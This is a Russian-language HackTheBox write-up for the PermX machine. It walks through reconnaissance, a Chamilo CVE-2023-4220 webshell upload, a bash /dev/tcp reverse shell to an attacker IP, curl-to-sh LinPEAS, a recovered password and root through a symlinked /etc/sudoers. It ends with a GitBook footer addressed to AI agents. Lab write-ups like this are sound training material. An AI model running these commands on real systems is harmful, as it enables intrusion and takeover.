> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# Разбор PermX на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление поддоменов
* Эксплуатация Chamilo
* Система перечисления LINpeas
* Повышение привилегий через sudoers (изменены права файла /etc/sudoers)
  {% endhint %}

## Разведка <a href="#reconnaissance" id="reconnaissance"></a>

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/529103143ce170048183f18893504ca382f97703" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/53c9e59282e3a6c282b6cc1e171b6c13c8c13628" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="/files/5e26768ab7bcaacf2192227f80447a2d97ca29c5" alt="" width="563"><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена.

<figure><img src="/files/9f94aad22773b12e987a8514c5fb62bb572e2ae9" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="/files/b5a4369f9090ff00660a5ecb1af0e0fbe9db55d4" alt="" width="563"><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, вставьте доменное имя, связанное с его IP-адресом, в `/etc/hosts` файле.

<figure><img src="/files/3da84311609c67970e03f95bc1dbb21cc85e86d4" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/fd6cd2d381d96e0b878050f9a76b176137238edd" alt=""><figcaption></figcaption></figure>

**Поиск возможных каталогов с помощью Gobuster:**

Использование Gobuster для сканирования возможных каталогов на сайте с помощью файла со списком каталогов среднего размера.

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/02e0d38e3efb8d295a43d88325dc8dccd34bffa1" alt=""><figcaption></figcaption></figure>

**Поиск каталогов с помощью Gobuster:**

Используйте **Gobuster** с использованием словаря для поиска скрытых файлов доступа.

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="/files/db7b769afc0e9ddaec964c849508e06c2cc91f6c" alt=""><figcaption></figcaption></figure>

### Перечисление поддоменов

Чтобы перечислить поддомены сайта с помощью инструмента Wfuzz через консоль, можно использовать следующую команду:

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="/files/535b47e0ed47e218449d1f9646a24a4b1f6b16dc" alt=""><figcaption></figcaption></figure>

Не забудьте обновить `/etc/hosts` файл, чтобы включить обнаруженные поддомены:

<figure><img src="/files/78c3e8be0742bc0307a3505e69b835d5a8cba0cc" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="/files/fc7980b8712fd6e0cf793c84888ad561174597a9" alt=""><figcaption></figcaption></figure>

## Уязвимость Chamilo CMS:

В Chamilo присутствует уязвимость, определённая как CVE-2023-4220, позволяющая выполнить удалённый код (RCE). Чтобы воспользоваться этой уязвимостью, можно использовать следующий скрипт, доступный на GitHub:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Клонируйте репозиторий GitHub:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Выполните проверку, чтобы убедиться, что уязвимость присутствует на цели:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/1a2088df92fbcd1a24b5a089aa1a7938a75a01dd" alt=""><figcaption></figcaption></figure>

### Веб-шелл:

Если уязвимость присутствует, внедрите **PHP webshell** в Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/2aa873c68be4e292553690847d5455c89cb39f12" alt=""><figcaption></figcaption></figure>

После внедрения webshell вы сможете выполнять команды на целевой машине.

<figure><img src="/files/9391eaa37df4439f7b68ef42ab5ab28df8015081" alt=""><figcaption></figcaption></figure>

### Обратная оболочка:

Чтобы установить соединение reverse shell и получить доступ к машине, выполните следующую команду из терминала:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Затем прослушивайте порт 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/1eede8350a5e8bacdc3ca46ca648c03dc3ce90e4" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

**Перечисление системы (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

Мы используем Linpeas для определения привилегий:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/def9ade785ac4cf5dd0dd9beacbee0ef15cb98f1" alt=""><figcaption></figcaption></figure>

**Обнаружение нового пользователя:**

В ходе перечисления мы выявили нового пользователя по имени `mtz`.

<figure><img src="/files/53492d1896205d66b56d7601d93d0ec36602a3b1" alt=""><figcaption></figcaption></figure>

**Получение пароля:**

Был найден следующий пароль:

<figure><img src="/files/e8f6424e2c4b1c996d10afc8e6beadd2d742cd7b" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="/files/bcf3b6f0dc230ef3c59dec82c15a032ec8b10d49" alt=""><figcaption></figcaption></figure>

#### Флаг user.txt:

<figure><img src="/files/9ba0c8ba51fc226c716aba3a35200489dc7fca44" alt=""><figcaption></figcaption></figure>

### Sudoers:

Выполнив `sudo -l` команды, мы обнаруживаем, что можем запускать скрипт как **root**.

```bash
sudo -l
```

<figure><img src="/files/4c4b41836a0b99ae6c189b150fc60fdca89a1b79" alt=""><figcaption></figcaption></figure>

Этот Bash-скрипт изменяет права доступа пользователя к определённому файлу с помощью ACL после проверки корректности пути и того, что целевой объект действительно является файлом.

<figure><img src="/files/976d6da13c4c9afbe1514911f1a1eddcd1c0aacb" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/72893c8e06059f183b857ab3797725eda6dcf4c1" alt=""><figcaption></figcaption></figure>

Наконец, давайте предоставим пользователю mtz права на чтение и запись файла

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

Возникает ошибка, потому что файл должен находиться в нашей `/home/mtz` каталога

<figure><img src="/files/bf42c0a0ebc5ebf08291926e36aaae56b096e85b" alt="" width="535"><figcaption></figcaption></figure>

В качестве обходного пути можно создать символическую ссылку с системного файла на `/home/mtz/` каталог и запустить скрипт на этой ссылке.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="/files/c6f14b628d79c80ec69ce1710ac9cf60f45f3b8e" alt=""><figcaption></figcaption></figure>

Нам нужно отредактировать файл "sudoers/\_link", который обновит файл sudoers, чтобы предоставить пользователю mtz полные права.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="/files/1e70991d0efc22a0d98da8b7a7129b062e28d7ca" alt=""><figcaption></figcaption></figure>

### Флаг root : ) <a href="#flag-root" id="flag-root"></a>

<figure><img src="/files/e860417d26c0a4980d569160663f340cb1abc9c6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4b437db33cc0ba70088b077a71b7069bab49f00f" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
